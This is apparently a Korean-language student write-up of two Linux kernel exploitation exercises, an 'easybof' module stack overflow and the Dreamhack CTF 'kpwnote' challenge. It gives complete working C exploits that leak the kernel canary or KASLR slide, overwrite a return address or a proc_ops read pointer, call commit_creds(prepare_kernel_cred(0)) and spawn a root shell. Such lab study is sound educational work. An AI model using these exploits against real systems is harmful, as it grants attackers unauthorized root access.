[과제 1]
디버깅용 -s 옵션 확인
init 파일을 임시로 수정하여 권한 상승에 필요한 prepare_kernel_cred, commit_creds 주소 구하기
copy_to_user & copy_from_user 주소 구하기
easybof.ko 파일의 easybof_write 함수에서 copy_from_user를 호출하는 위치를 통해 오프셋 0x30 확인


easybof.ko 파일의 easybof_read 함수에서 copy_to_user를 호출하는 위치를 통해 오프셋 0x93 확인

디버깅
[exp.c | exp]
copy_to_user를 통해서 kernel canary를 user land로 가져오는 코드
컴파일과 압축 과정
qemu.sh 실행
copy_to_user에 break point 설정 후 이어서 실행
kernel canary를 가져오는 코드인 exp 실행

user_space : 0x00007ffc4c38f8e0
kernel_space : 0xffffc9000033be20
kernel canary의 인덱스가 2인것과 그 뒤의 return address까지 보인다
copy_to_user 실행 후
kernel space에 있던 주소들이 user space에 그대로 복사되었다

익스플로잇
[exp.c | exp]
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdint.h>
#include <errno.h>
struct trap_frame {
void *user_rip;
uint64_t user_cs;
uint64_t user_rflags;
void *user_rsp;
uint64_t user_ss;
} __attribute__((packed));
struct trap_frame tf;
void *(*prepare_kernel_cred)(void *);
int (*commit_creds)(void *);
void binsh(void){
// system("/bin/sh");
execl("/bin/sh", "sh", NULL);
}
void backup_tf(void) {
asm("mov tf+8, cs;"
"pushf; pop tf+16;"
"mov tf+24, rsp;"
"mov tf+32, ss;"
);
tf.user_rip = &binsh;
}
void payload(void){
commit_creds(prepare_kernel_cred(0));
asm("swapgs;"
"mov %%rsp, %0;"
"iretq;"
: : "r" (&tf));
}
int main(){
int fd = open("/dev/easybof", O_RDWR);
backup_tf();
prepare_kernel_cred = 0xffffffff810da460; // prepare kernel cred
commit_creds = 0xffffffff810da1a0;
void *buf[10] = {0, };
read(fd, buf, 0x20);
void *kcanary = buf[2];
printf("Kernel Canary : %p\n", kcanary);
void * buf2[10] = {0, };
buf2[2] = kcanary;
buf2[4] = &payload;
write(fd, buf2, 0x30);
return 0;
}
canary는 인덱스 2에 위치하기에 buf2[2]에, return address는 4에 위치해 있기 때문에 buf2[4]에 payload를 배치하고 write()로 easybof_write()의 copy_from_user 호출을 통한 익스플로잇을 실행하는 코드.

copy_from_user에 브레이크 포인트를 설정한 후, 실행

0xffffffff813781e9 Return Address
copy_from_user 실행 후
Return Address가 덮어씌워졌다.


[과제 2] : Dreamhack - kpwnote
Dreamhack kpwnote 문제 파일 확인

/home/cr4ne/system_hacking/kpwnote 경로에서 문제 파일을 확인하면 vmlinux, vmlinuz, initramfs.img, run.sh, linux-5.11.16/ 등이 존재한다.
file initramfs.img vmlinux vmlinuz
initramfs.img: ASCII cpio archive (SVR4 with no CRC)
vmlinux: ELF 64-bit LSB executable, x86-64, statically linked, with debug_info, not stripped
vmlinuz: Linux kernel x86 boot executable bzImage, version 5.11.16-kpwnote+
vmlinux가 not stripped 상태이므로 nm을 이용해 필요한 커널 심볼을 구할 수 있다.
실행 환경 확인
run.sh의 실행 옵션을 확인한다.
cat run.sh
exec qemu-system-x86_64 \
-M microvm,x-option-roms=off,isa-serial=off -no-acpi \
-cpu qemu64 -m 128m -smp 1 -no-reboot \
-kernel vmlinuz -initrd initramfs.img -dtb no-shutdown.dtb \
-append "reboot=t panic=-1 console=hvc0 quiet" \
-nodefaults -no-user-config -nographic \
-device virtio-serial-device \
-chardev socket,id=virtiocon0,server,telnet,host="$listen_host",port="$listen_port_con" \
-device virtconsole,chardev=virtiocon0 \
-chardev socket,id=virtioser0,server,nowait,host="$listen_host",port="$listen_port_ser" \
-device virtserialport,chardev=virtioser0
QEMU가 -cpu qemu64 옵션으로 실행된다.
로컬 VM에서 /proc/cpuinfo를 확인하면 smep와 smap 플래그가 출력되지 않는다.
grep -o 'smep\|smap' /proc/cpuinfo | sort -u

출력이 없기 때문에 로컬 환경에서는 ret2usr 방식으로 커널에서 user land 함수를 실행할 수 있다.
보호 기법은 linux-5.11.16.config 파일에서 확인했다.

CONFIG_X86_SMAP=y
CONFIG_RANDOMIZE_BASE=y
CONFIG_STACKPROTECTOR=y
CONFIG_STACKPROTECTOR_STRONG=y
CONFIG_PAGE_TABLE_ISOLATION=y
CONFIG_HARDENED_USERCOPY=y
CONFIG_STATIC_USERMODEHELPER=y
CONFIG_STATIC_USERMODEHELPER_PATH=""
KASLR이 켜져 있으므로 leak을 통해 kernel slide를 계산해야 한다.
main.c 확인
[main.c]
// SPDX-License-Identifier: GPL-2.0
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/proc_fs.h>
extern loff_t my_lseek(struct file *file, loff_t offset, int whence);
extern ssize_t my_read(struct file *file, char __user *buf, size_t count, loff_t *ppos);
extern ssize_t my_write(struct file *file, const char __user *buf, size_t count, loff_t *ppos);
static struct proc_ops my_fops = {
.proc_lseek = my_lseek,
.proc_read = my_read,
.proc_write = my_write,
};
static int __init kpwnote_init(void)
{
struct proc_dir_entry *proc_ent;
proc_ent = proc_create("kpwnote", S_IRUGO | S_IWUGO, NULL, &my_fops);
if (!proc_ent)
return -ENOMEM;
return 0;
}
late_initcall(kpwnote_init);
proc_create()로 /proc/kpwnote가 생성되고, my_fops에 my_lseek, my_read, my_write가 등록되어 있다.
my_fops가 전역 변수로 존재하므로 OOB write로 이 함수 포인터 테이블을 덮을 수 있는지 확인한다.
run.sh에 실행 권한을 부여하고 실행
telnet으로 QEMU console 접속
/proc/kpwnote 열기 확인
host에서 보낼 파일을 저장할 위치 설정
impl.c 확인
[impl.c]
// SPDX-License-Identifier: GPL-2.0
#define pr_fmt(fmt) KBUILD_MODNAME ": " fmt
#include <linux/kernel.h>
#include <linux/rwsem.h>
#include <linux/fs.h>
#include <linux/uaccess.h>
#define INITSTR "hi\n"
static DECLARE_RWSEM(sem);
static loff_t tlen = sizeof(INITSTR) - 1;
static unsigned char tmp[1024] = INITSTR;
loff_t my_lseek(struct file *file, loff_t offset, int whence)
{
loff_t res, eof;
res = down_read_interruptible(&sem);
if (res)
return res;
eof = tlen;
up_read(&sem);
return generic_file_llseek_size(file, offset, whence, OFFSET_MAX, eof);
}
ssize_t my_read(struct file *file, char __user *buf, size_t count, loff_t *ppos)
{
int res;
if (!count)
return 0;
res = down_read_interruptible(&sem);
if (res)
return res;
if (tlen > *ppos) {
size_t n;
loff_t maxlen = tlen - *ppos;
if (maxlen <= SIZE_MAX && count > (size_t)maxlen)
count = maxlen;
n = copy_to_user(buf, tmp + *ppos, count);
if (count == n)
res = -EFAULT;
count -= n;
} else {
count = 0;
}
up_read(&sem);
if (res)
return res;
*ppos += count;
return count;
}
ssize_t my_write(struct file *file, const char __user *buf, size_t count, loff_t *ppos)
{
int res;
size_t n;
if (!count)
return 0;
if (count > OFFSET_MAX || *ppos > OFFSET_MAX - count)
return -ENOSPC;
res = down_write_killable(&sem);
if (res)
return res;
n = copy_from_user(tmp + *ppos, buf, count);
tlen = max(tlen, *ppos + (loff_t)(count - n));
up_write(&sem);
if (count == n)
return -EFAULT;
count -= n;
*ppos += count;
return count;
}
tmp는 1024바이트 크기의 전역 버퍼이다.
static unsigned char tmp[1024] = INITSTR;
하지만 my_write()에서는 tmp + *ppos에 그대로 데이터를 복사한다.
n = copy_from_user(tmp + *ppos, buf, count);
*ppos가 tmp 크기인 0x400을 넘는지 확인하지 않는다. lseek()로 큰 offset을 설정한 뒤 write()를 호출하면 tmp 뒤쪽 전역 메모리에 OOB write가 가능하다.
my_read()도 tmp + *ppos에서 user land로 데이터를 복사하므로 OOB read가 가능하다.
n = copy_to_user(buf, tmp + *ppos, count);
다만 read는 tlen > *ppos 조건을 통과해야 하므로, 먼저 write를 이용해 tlen을 읽고 싶은 위치보다 크게 만들어야 한다.
심볼 주소 구하기
nm 명령어 사용

ffffffff81063370 T prepare_kernel_cred
ffffffff810634e0 T commit_creds
ffffffff812b4820 T my_lseek
ffffffff812b4880 T my_read
ffffffff812b4960 T my_write
ffffffff81cab6a0 d tmp
ffffffff81cabaa0 d tlen
ffffffff81cabb00 d my_fops
tmp 기준 오프셋을 계산한다.
tlen - tmp
= 0xffffffff81cabaa0 - 0xffffffff81cab6a0
= 0x400
my_fops - tmp
= 0xffffffff81cabb00 - 0xffffffff81cab6a0
= 0x460
struct proc_ops에서 proc_read는 구조체 시작 기준 +0x10에 위치한다.
따라서 my_fops.proc_read는 tmp + 0x470에 위치한다.
my_fops.proc_read = tmp + 0x460 + 0x10
= tmp + 0x470
proc_read 바로 뒤의 proc_read_iter 슬롯은 tmp + 0x478에 위치한다. 이 슬롯은 사용하지 않는 NULL 값이므로, 먼저 이 위치에 8바이트를 write해서 tlen을 0x480까지 증가시킨다.
KASLR Leak
my_fops.proc_read에는 런타임의 my_read 주소가 들어 있다. KASLR이 켜져 있으므로 이 값을 leak해서 slide를 계산한다.
[exp.c | leak 부분]
char zero[8] = {0};
lseek(fd, 0x478, SEEK_SET);
write(fd, zero, 8);
u64 leak = 0;
lseek(fd, 0x470, SEEK_SET);
read(fd, &leak, 8);
u64 slide = leak - 0xffffffff812b4880UL;
0x478 위치에 먼저 write하여 tlen의 크기를 키우고 0x470 위치를 read하면 proc_read 슬롯에 저장된 my_read 주소가 user land로 복사된다.
slide 계산 후 commit_creds, prepare_kernel_cred의 런타임 주소를 구한다.
commit_creds = (void *)(0xffffffff810634e0UL + slide);
prepare_kernel_cred = (void *)(0xffffffff81063370UL + slide);
흐름 조작
my_fops.proc_read를 user land 함수 주소로 덮으면, /proc/kpwnote에 read()를 호출할 때 커널이 해당 주소로 점프한다.
로컬 환경에서는 SMEP/SMAP이 비활성화되어 있으므로 user land 함수 실행이 가능하다.
권한 상승 함수는 다음과 같이 작성했다.
long escalate(void)
{
commit_creds(prepare_kernel_cred(0));
return 0;
}
commit_creds로 바로 점프하지 않고 escalate()를 사용하는 이유는 인자 때문이다. proc_read 호출 시 첫 번째 인자 rdi에는 struct file *이 들어간다. 하지만 commit_creds()는 struct cred *를 인자로 받아야 한다.
따라서 escalate() 안에서 prepare_kernel_cred(0)을 먼저 호출하고, 반환된 cred 포인터를 commit_creds()에 전달한다.
익스플로잇
[exp.c | exp]
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
typedef unsigned long u64;
#define MY_READ_S 0xffffffff812b4880UL
#define COMMIT_S 0xffffffff810634e0UL
#define PREPARE_S 0xffffffff81063370UL
#define PROC_READ_OFF 0x470
#define PROC_READ_ITER_OFF 0x478
void (*commit_creds)(u64);
u64 (*prepare_kernel_cred)(u64);
long escalate(void)
{
commit_creds(prepare_kernel_cred(0));
return 0;
}
int main(void)
{
setvbuf(stdout, NULL, _IONBF, 0);
int fd = open("/proc/kpwnote", O_RDWR);
if (fd < 0) {
perror("open");
return 1;
}
char zero[8] = {0};
lseek(fd, PROC_READ_ITER_OFF, SEEK_SET);
write(fd, zero, sizeof(zero));
u64 leak = 0;
lseek(fd, PROC_READ_OFF, SEEK_SET);
read(fd, &leak, sizeof(leak));
u64 slide = leak - MY_READ_S;
commit_creds = (void *)(COMMIT_S + slide);
prepare_kernel_cred = (void *)(PREPARE_S + slide);
printf("[*] leak(my_read) = 0x%lx\n", leak);
printf("[*] slide = 0x%lx\n", slide);
printf("[*] commit_creds = %p\n", commit_creds);
printf("[*] prepare_cred = %p\n", prepare_kernel_cred);
u64 target = (u64)escalate;
lseek(fd, PROC_READ_OFF, SEEK_SET);
write(fd, &target, sizeof(target));
char dummy = 0;
lseek(fd, 0, SEEK_SET);
read(fd, &dummy, 1);
lseek(fd, PROC_READ_OFF, SEEK_SET);
write(fd, &leak, sizeof(leak));
if (getuid() == 0) {
puts("[+] root");
execl("/bin/sh", "sh", "-i", NULL);
} else {
printf("[-] failed uid=%d\n", getuid());
}
return 0;
}
proc_read를 escalate() 주소로 덮고 read()를 호출하면 권한 상승 코드가 실행된다. 이후 proc_read 슬롯은 leak해둔 원래 my_read 주소로 복구한다.
로컬에서는 익스플로잇이 되었지만, 원격 서버에서는 악재로 인해 실수가 연속으로 두번 터지게 되었고 심지어 한번 연결을 끊으면 다시 접속도 불가능하기에 원격 서버에서 익스플로잇을 해보지 못했다.